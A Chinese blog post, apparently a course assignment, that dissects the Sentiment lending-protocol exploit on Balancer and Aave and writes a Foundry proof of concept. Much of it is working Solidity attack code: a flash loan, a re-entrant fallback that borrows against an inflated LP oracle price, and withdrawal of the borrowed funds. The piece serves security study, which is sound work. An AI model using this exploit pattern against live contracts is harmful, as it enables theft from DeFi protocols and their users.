{"content":{"title":"图解Sentiment安全攻击过程和写POC全过程","body":"<!--StartFragment-->\r\n\r\n# 一. Sentiment 的背景知识\r\n\r\n## 不足额抵押\r\nSentiment 特点就一句话`不足额抵押`。\r\n\r\n**超额抵押**\r\n众所周知，大部分借贷项目都是超额抵押，比如抵押价值120U的Token，然后最多能借贷100U，这就是超额抵押。原因也很简单，就怕借款人跑路。\r\n\r\n**不足额抵押**\r\n知道超额抵押，就会感觉`不足额抵押`有点扯，难道项目是个慈善活动。开玩笑，项目方都是资本家，怎么可能犯傻，Sentiment做了保护，`不足额抵押`的借贷token不会直接给用户，而是存到一个和用户一一对应的Account合约里，用户可以指挥Account拿着资产去其他defi比如aave，balance投资，但是不能取出来。\r\n\r\n\r\n多说一句，`不足额抵押`本质上也是解决流动性问题，提升资本利用效率。市场上，钱就那么多，谁能解决效率问题，钱就去哪里！\r\n\r\n\r\n\r\n\r\n## Sentiment内部的角色与分工\r\n- AccountManager：大管家，接受用户的请求，然后在Sentiment内部分工，下面3个是小弟。\r\n- Account：保存用户的资产和负债，负责拿着用户的钱出去投资。\r\n- Controller：初级审计员，检查Account的钱去哪里投资，如果拿去张三的马甲投资，直接就否决。只能去Aave，Balance这些Sentiment的白名单合作伙伴才可以。\r\n- RiskEngine：我是风控专家，专门检查客户的仓位是否健康，是否要爆仓。\r\n\r\n# 二. 攻击流程\r\n\r\n## 概述攻击流程\r\n- step1：通过Sentiment，到Balancer的`pair(B-33WETH-33WBTC-33USDC)`，存入50个ETH。\r\n- step2：绕过Sentiment，亲自到Balancer的`pair(B-33WETH-33WBTC-33USDC)`，存入10,000个EWTH，606WBTC，18,000,000USDC。\r\n- step3：攻击者到Balancer的`pair(B-33WETH-33WBTC-33USDC)`取款，存入5,000个`ETH`，606WBTC，9,000,000USDC。（`ETH`触发了fallback，从而引发了重入攻击。）\r\n- step4：`fallback`\r\n在`fallback`中，张三向Sentiment发起了借款，记得 step2的50个WETH的存款吗，此时有了LP Token，作为抵押物就可以借款。具体如下：\r\nstep4.1：借贷 461,00个USDC_e，361,00个USDT，81个WETH，125,000个FRAX。，再去Curve把FRAX换成USDC_e。\r\nstep4.2：通过Sentiment将step4.1 借到的钱，都借给AaveV3。\r\nstep4.3：将step4.2 借给AaveV3的钱，取出来给攻击人自己。\r\n- step5：归还闪电贷，攻击结束。\r\n\r\n\r\n## 详解攻击流程\r\n\r\n### step1解析\r\n通过Sentiment，到Balancer的`pair(B-33WETH-33WBTC-33USDC)`，存入50个ETH。\r\n\r\n![6lending_sentiment_1_flow1.png](https://img.learnblockchain.cn/attachments/2023/12/Q0FKhB2t656ed7ecd3393.png)\r\n\r\n### step2解析\r\n绕过Sentiment，亲自到Balancer的`pair(B-33WETH-33WBTC-33USDC)`，存入10,000个EWTH，606WBTC，18,000,000USDC。\r\n\r\n![6lending_sentiment_2_flow2.png](https://img.learnblockchain.cn/attachments/2023/12/cLWO5MjI656eda3c75a02.png)\r\n\r\n\r\n### step3解析\r\n攻击者到Balancer的`pair(B-33WETH-33WBTC-33USDC)`取款，取走所有存款。（`ETH`触发了fallback，从而引发了重入攻击。）\r\n\r\n\r\n![6lending_sentiment_3_flow3.png](https://img.learnblockchain.cn/attachments/2023/12/iTPJ5MwX657bee54cea4a.png)\r\n\r\n\r\n **注意，step3没有执行完，逻辑就进入了step4`fallback` ！！！**\r\n <br>\r\n\r\n### step4-`fallback`解析\r\n\r\n在`fallback`中，张三向Sentiment发起了借款，记得 step2的50个WETH的存款吗，此时有了LP Token，作为抵押物就可以借款。但是能多少呢？需要一个Balancer给出**LP**的定价。定价的活就是`WeightedBalancerLPOracle`来负责。\r\n\r\n\r\n![6lending_sentiment_4_flow4.png](https://img.learnblockchain.cn/attachments/2023/12/Nd1l0Ffg656ee8d320228.png)\r\n\r\n- step4.1：借贷 461,00个USDC_e，361,00个USDT，81个WETH，125,000个FRAX。，再去Curve把FRAX换成USDC_e。\r\n\r\n![6lending_sentiment_9_borrow.png](https://img.learnblockchain.cn/attachments/2023/12/KXxBS19d65795d91ccbab.png)\r\n\r\n- step4.2：通过Sentiment将step4.1 借到的钱，都借给AaveV3。\r\n\r\n![6lending_sentiment_10_supply.png](https://img.learnblockchain.cn/attachments/2023/12/Rby67WHg65795ef48ed90.png)\r\n\r\n- step4.3：将step4.2 借给AaveV3的钱，取出来给攻击人自己。\r\n\r\n![6lending_sentiment_11_withdraw.png](https://img.learnblockchain.cn/attachments/2023/12/CvllVhOk65795ff43d7f1.png)\r\n\r\n### step5解析：\r\n归还闪电贷，攻击结束。\r\n没啥说的，就一点别忘记approve。归还闪电贷有两类：1你主动转账归还 2你approve，债主主动来扣钱。AaveV3是后者，所以记得approve。\r\n\r\n\r\n\r\n\r\n# 三. LP 价格是攻击的关键\r\n\r\n前面讲了整个流程，但是价格的问题一带而过，这个问题值得单独讲讲。\r\n\r\n## 简单回顾下：\r\n\r\nstep1向Balancer存钱，step2向Balancer存钱，step3把step2在Balance存的钱取出来，这些钱包括ETH，引发隐式调用fallback，在fallback中开启借借借模式。\r\n\r\n翻译成人话：step1存钱，得到了一定数量的Lp Token，作为抵押品。如果这些LP Token价值100U，你就可以抵押金额为100U，来计算借款额度。如果这些LP Token价值10000U，你就可以抵押金额为10000U，来计算借款额度。\r\n\r\n## LP 价格公式\r\n![6lending_sentiment_5_price.png](https://img.learnblockchain.cn/attachments/2023/12/qGhvL9kz656eeadca4f68.png)\r\n\r\n\r\n## 借的额度远超过抵押的存款，为什么？\r\n因为借款的那个时间点，此时此刻，LP Token的价值突然暴力拉升。\r\n\r\n## 为什么LP Token价格大涨？\r\n\r\n**分子没变，分母却变小了**。\r\n\r\n\r\n![6lending_sentiment_12_step关系.png](https://img.learnblockchain.cn/attachments/2023/12/cFK5soyA6579750dce231.png)\r\n\r\n\r\n\r\n## PhaIcon截图看分子分母的变化：\r\n\r\n![6lending_sentiment_6_price_phaIcon.png](https://img.learnblockchain.cn/attachments/2023/12/nXf8DNMb65708d4103ebb.png)\r\n\r\ntrace信息可以提取出如下数据：\r\n\r\n![6lending_sentiment_7_price_analyze.png](https://img.learnblockchain.cn/attachments/2023/12/FoQULmsO6571a54fa6805.png)\r\n\r\n## 从数据的角度看LP Price价格变化\r\n![6lending_sentiment_8_price_health.png](https://img.learnblockchain.cn/attachments/2023/12/zHOC9V996571b365a65be.png)\r\n\r\n\r\n- joinPool2: 0.22e18 \r\n- borrow1: 3.55e18 \r\n价格暴力拉升了16倍，意味着你的贷款额度也增加了16倍。\r\n**需要强调一句，攻击者没有借特别多资产，因为Sentiment的稳定币就没有那么多。**\r\n\r\n\r\n流程和价格都分析完了，写POC就简单了。\r\n\r\n# 四. POC\r\n\r\n<!--StartFragment-->\r\n\r\n## 准备工作\r\n\r\n\r\n### 最佳学习资料：[DeFiHackLabs](https://github.com/SunWeb3Sec/DeFiHackLabs)\r\n\r\n[SunWeb3Sec: 3. 自己动手写POC1 (Price Oracle Manipulation)](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/03\\_write_your_own_poc)\\\r\n[SunWeb3Sec: 4. 自己动手写POC2 - MEV Bot](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/04\\_write_your_own_poc/)\\\r\n[SunWeb3Sec: 6. 自己动手写POC3 (Reentrancy)](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/06\\_write_your_own_poc/)\r\n\r\n工程里有大量POC代码，非常推荐！！！\r\n\r\n\r\n\r\n## 具体写POC逻辑\r\n\r\n### aave闪电贷\r\n\r\n```solidity\r\n    function testExploit() public {\r\n        address[] memory assets = new address[](3);\r\n        assets[0] = address(WBTC);\r\n        assets[1] = address(WETH);\r\n        assets[2] = address(USDC_e);\r\n        uint[] memory amounts = new uint[](3);\r\n        amounts[0] = 606e8;\r\n//        amounts[1] = 10050e18;\r\n        amounts[1] = 10_050.1e18;\r\n        amounts[2] = 18_000_000e6;\r\n        uint[] memory interestRateModes = new uint[](3);\r\n        interestRateModes[0]=0;\r\n        interestRateModes[1]=0;\r\n        interestRateModes[2]=0;\r\n        bytes memory params = new bytes(0);\r\n        console.log('before flashloan');\r\n        aaveV3Pool.flashLoan(address(this), assets, amounts, interestRateModes,address(this), abi.encode(''), 0);\r\n        finalInterest('after flashloan');\r\n    }\r\n```\r\n\r\n### step1 通过Sentiment，到Balancer的`pair(B-33WETH-33WBTC-33USDC)`，存入50个ETH。\r\n\r\n\r\n\r\n下面的代码很长，主要是参数多，没有难度。值得细说的是data是怎么确定的？\r\n不明白可以看 **补充说明**。\r\n\r\n\r\n\r\n知道了如何解码 两种data，写下面代码就没有难度了。\r\n\r\n```solidity\r\n    address accountAddress;\r\n    function accountManagerExecJoinPool() internal{\r\n        accountAddress = accountManager.openAccount(address(this));\r\n        riskEngine = IRiskEngine(accountManager.riskEngine());\r\n        account = Account(accountAddress);\r\n        oracle = Oracle(riskEngine.oracle());\r\n\r\n        WETH.approve(address(accountManager), 50e18);\r\n\r\n        accountManager.deposit(accountAddress, address(WETH), 50e18);\r\n\r\n        accountManager.approve(accountAddress, address(WETH), address(balanceVault), 50e18);\r\n\r\n        bytes32 poolId = B_33WETH_33WBTC_33USDC_POOL.getPoolId();\r\n        address sender = accountAddress;\r\n        address recipient = accountAddress;\r\n        address[] memory assets = new address[](3);\r\n        assets[0] = address(WBTC);\r\n        assets[1] = address(WETH);\r\n        assets[2] = address(USDC_e);\r\n\r\n        uint[] memory maxAmountsIn = new uint[](3);\r\n        maxAmountsIn[0]=0;\r\n        maxAmountsIn[1]=50e18;\r\n        maxAmountsIn[2]=0;\r\n        bytes memory userData = abi.encode(uint8(1), maxAmountsIn, 0);\r\n        BalancerVault.JoinPoolRequest memory request = BalancerVault.JoinPoolRequest({\r\n            assets:assets,\r\n            maxAmountsIn:maxAmountsIn,\r\n            userData:userData,\r\n            fromInternalBalance:false\r\n        });\r\n\r\n        bytes memory data = abi.encodeWithSelector(balanceVault.joinPool.selector, poolId, sender, recipient, request);\r\n\r\n        accountManager.exec(accountAddress, address(balanceVault), 0, data);\r\n\r\n    }\r\n```\r\n\r\n\r\n### step2：绕过Sentiment，亲自到Balancer的`pair(B-33WETH-33WBTC-33USDC)`，存入10,000个EWTH，606WBTC，18,000,000USDC。\r\n\r\n\r\n```solidity\r\n    function joinPool() internal{\r\n        WBTC.approve(address(balanceVault), 606e8);\r\n        WETH.approve(address(balanceVault), 10_000e18);\r\n        USDC_e.approve(address(balanceVault), 18_000_000e6);\r\n\r\n\r\n        bytes32 poolId = B_33WETH_33WBTC_33USDC_POOL.getPoolId();\r\n        address sender = address(this);//\r\n        address recipient = address(this);\r\n        address[] memory assets = new address[](3);\r\n        assets[0] = address(WBTC);\r\n        assets[1] = address(WETH);\r\n        assets[2] = address(USDC_e);\r\n        uint[] memory maxAmountsIn = new uint[](3);\r\n        maxAmountsIn[0] = 606e8;\r\n        maxAmountsIn[1] = 10_000e18;\r\n        maxAmountsIn[2] = 18_000_000e6;\r\n\r\n        bytes memory userData = abi.encode(uint8(1), maxAmountsIn, 0);\r\n        BalancerVault.JoinPoolRequest memory request = BalancerVault.JoinPoolRequest({\r\n            assets:assets,\r\n            maxAmountsIn:maxAmountsIn,\r\n            userData:userData,\r\n            fromInternalBalance:false\r\n        });\r\n        balanceVault.joinPool{value:0.1e18}(poolId, sender, recipient, request);\r\n\r\n    }\r\n```\r\n\r\n\r\n\r\n### step3：攻击者到Balancer的`pair(B-33WETH-33WBTC-33USDC)`取款，取走所有。（`ETH`触发了fallback，从而引发了重入攻击。）\r\n\r\n\r\n```solidity\r\n    function exitPool() internal{\r\n\r\n        bytes32 poolId = B_33WETH_33WBTC_33USDC_POOL.getPoolId();\r\n        address sender = address(this);\r\n        address recipient = address(this);\r\n        address[] memory assets = new address[](3);\r\n        assets[0] = address(WBTC);\r\n        assets[1] = address(0);//\r\n        assets[2] = address(USDC_e);\r\n        uint[] memory minAmountsOut = new uint[](3);\r\n        minAmountsOut[0] = 606e8;\r\n        minAmountsOut[1] = 5_000e18;//\r\n        minAmountsOut[2] = 9_000_000e6;\r\n\r\n        uint tokenIn =balancerPoolToken.balanceOf(address(this));//\r\n        bytes memory userData = abi.encode(uint8(1), tokenIn);//\r\n        BalancerVault.ExitPoolRequest memory request = BalancerVault.ExitPoolRequest({\r\n            assets:assets,\r\n            minAmountsOut:minAmountsOut,\r\n            userData:userData,\r\n            toInternalBalance:false\r\n        });\r\n\r\n        balanceVault.exitPool(poolId, sender, payable(recipient), request);\r\n\r\n        WETH.deposit{value: address(this).balance}();\r\n\r\n    }\r\n```\r\n\r\n<!--StartFragment-->\r\n\r\n### step4：`fallback`\r\n  在`fallback`中，张三向Sentiment发起了借款，记得 step2的50个WETH的存款吗，此时有了LP Token，作为抵押物就可以借款。具体如下：\r\n* step4.1：借贷 461,00个USDC_e，361,00个USDT，81个WETH，125,000个FRAX。，再去Curve把FRAX换成USDC_e。\r\n* step4.2：通过Sentiment将step4.1 借到的钱，都借给AaveV3。\r\n* step4.3：将step4.2 借给AaveV3的钱，取出来给攻击人自己。\r\n\r\n\r\n```solidity\r\n    fallback() external payable {\r\n        console.log(\"fallback\");\r\n        emit log_named_decimal_uint(\"fallback eth\" , msg.value, 18);\r\n        if(count > 1){\r\n            accountManagerBorrow();\r\n        }\r\n        count++;\r\n    }\r\n    function accountManagerBorrow() public{\r\n\r\n        accountManager.borrow(address(accountAddress), address(USDC_e), 461_000 * 1e6);\r\n        accountManager.borrow(address(accountAddress), address(USDT), 361_000 * 1e6);\r\n        accountManager.borrow(address(accountAddress), address(WETH), 81e18);\r\n        accountManager.borrow(address(accountAddress), address(FRAX), 125_000 * 1e18);\r\n\r\n        accountManager.approve(address(accountAddress),address(FRAX), CurvePool_FRAXBP, type(uint).max);\r\n        accountManager.exec(address(accountAddress), CurvePool_FRAXBP, 0, abi.encodeWithSignature(\"exchange(int128,int128,uint256,uint256)\", 0, 1, 120_000 * 1e18, 1));//exchange 稳定币\r\n        accountManager.approve(address(accountAddress),address(USDC_e), address(aaveV3Pool), type(uint).max);\r\n        accountManager.approve(address(accountAddress),address(USDT), address(aaveV3Pool), type(uint).max);\r\n        accountManager.approve(address(accountAddress),address(WETH), address(aaveV3Pool), type(uint).max);\r\n\r\n        accountManager.exec(address(accountAddress), address(aaveV3Pool), 0, abi.encodeWithSignature(\"supply(address,uint256,address,uint16)\", address(USDC_e), 580_000 * 1e6, address(accountAddress), 0));\r\n        accountManager.exec(address(accountAddress), address(aaveV3Pool), 0, abi.encodeWithSignature(\"supply(address,uint256,address,uint16)\", address(USDT), 360_000 * 1e6, address(accountAddress), 0));\r\n        accountManager.exec(address(accountAddress), address(aaveV3Pool), 0, abi.encodeWithSignature(\"supply(address,uint256,address,uint16)\", address(WETH), 80 * 1e18, address(accountAddress), 0));\r\n        accountManager.exec(address(accountAddress), address(aaveV3Pool), 0, abi.encodeWithSignature(\"withdraw(address,uint256,address)\", address(USDC_e), type(uint).max, address(this)));\r\n        accountManager.exec(address(accountAddress), address(aaveV3Pool), 0, abi.encodeWithSignature(\"withdraw(address,uint256,address)\", address(USDT), type(uint).max, address(this)));\r\n        accountManager.exec(address(accountAddress), address(aaveV3Pool), 0, abi.encodeWithSignature(\"withdraw(address,uint256,address)\", address(WETH), type(uint).max, address(this)));\r\n\r\n    }\r\n```\r\n\r\n\r\n### step5：归还闪电贷，攻击结束。\r\nAaveV3 自己扣款，你approve即可。\r\n\r\n```solidity\r\n        WETH.approve(address(aaveV3Pool), amounts[1]+premiums[1]);\r\n        USDC_e.approve(address(aaveV3Pool), amounts[2]+premiums[2]);\r\n        WBTC.approve(address(aaveV3Pool), amounts[0]+premiums[0]);\r\n```\r\n\r\n<!--EndFragment-->\r\n\r\n\r\n\r\n\r\n\r\n# 五. 补充说明\r\n\r\n## joinPool的data是怎么来的?\r\n看phaIcon是一串很长的字节数组：\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2023/12/3BgvyDGB6579b7e6b96ee.png)\r\n\r\n这个可以用foundry命令解析：\r\n`cast 4byte-decode 0x.....`\r\n\r\n效果如下：\r\n\r\n红色框就是解析出来的结果，\r\n![image.png](https://img.learnblockchain.cn/attachments/2023/12/hXfHW2WS6579b8ecb5037.png)\r\n\r\n结果中还有一串字节数组（绿色框），注意这传数据不能再用\r\n`cast 4byte-decode 0x.....`解析，如何解析需要具体看Balancer代码逻辑。\r\n\r\n\r\n拷贝如下代码（取自`WeightedPoolUserDataHelpers.sol`）到remix：\r\n```solidity\r\n    enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT }\r\n\r\n\r\n    function exactTokensInForBptOut(bytes memory self)\r\n        external \r\n        pure\r\n        returns (JoinKind value1, uint256[] memory amountsIn, uint256 minBPTAmountOut)\r\n    {\r\n        (value1, amountsIn, minBPTAmountOut) = abi.decode(self, (JoinKind, uint256[], uint256));\r\n    }\r\n```\r\n输入待解析的字节数组\r\n解析结果如下：\r\n![image.png](https://img.learnblockchain.cn/attachments/2023/12/CrIW8vxz6579c1267dacf.png)\r\n于是有了\r\n\r\n```solidity\r\n        uint[] memory maxAmountsIn = new uint[](3);\r\n        maxAmountsIn[0]=0;\r\n        maxAmountsIn[1]=50e18;\r\n        maxAmountsIn[2]=0;\r\n        bytes memory userData = abi.encode(uint8(1), maxAmountsIn, 0);\r\n```\r\n\r\n\r\n<!--EndFragment-->\r\n\r\n\r\n<!--StartFragment-->\r\n\r\n# 六. 最后\r\n\r\n<!--StartFragment-->\r\n\r\n这是吴磊老师留的第六课作业，个人感觉因为涉及到了Balancer，是这几篇最难的。\r\n\r\n<!--EndFragment-->\r\n\r\n\r\n<!--EndFragment-->\r\n\r\n\r\n<!--EndFragment-->"},"author":{"user":"https://learnblockchain.cn/people/3908","address":null},"history":"bafkreigq5pwlrlit2yh52go5eiqrjsk6jslz6frrxbs2qz2ixlktrspqam","timestamp":1703059498,"version":1}